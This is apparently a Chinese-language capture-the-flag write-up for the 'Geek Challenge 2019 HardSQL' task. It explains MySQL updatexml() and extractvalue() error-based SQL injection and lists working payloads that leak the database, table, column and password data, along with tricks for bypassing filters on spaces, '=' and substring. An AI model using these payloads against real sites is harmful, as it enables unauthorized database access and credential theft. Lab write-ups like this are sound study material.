极客大挑战 2019 HardSQL

0x00知识点:

updatexml()

sql注入中的updatexml()函数

1
UPDATEXML(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

例子:

1
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

​ 其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

1
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

xpath语法总结:https://www.jb51.net/article/125607.htm

extractvalue()
1
ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档

第二个参数是用Xpath路径法表示的查找路径

例子:

例如:SELECT ExtractValue(‘‘, ‘/a/b’); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

img

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

img

0x00解题

image-20210830091906610

1
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

爆出库

image-20210830092011080

1
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

image-20210830092201589

爆出表名

1
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20210830092501514

爆出列名

构造payload:

1
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

image-20210830092549838

右边的flag

1
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#

image-20210830092639064

1
2
3
4
5
补充:

1:空格被过滤可以使用/**/或者()绕过
2:=号被过滤可以用like来绕过
3:substring与mid被过滤可以用right与left来绕过

参考博客:

[极客大挑战 2019]HardSQL_o3Ev的博客-CSDN博客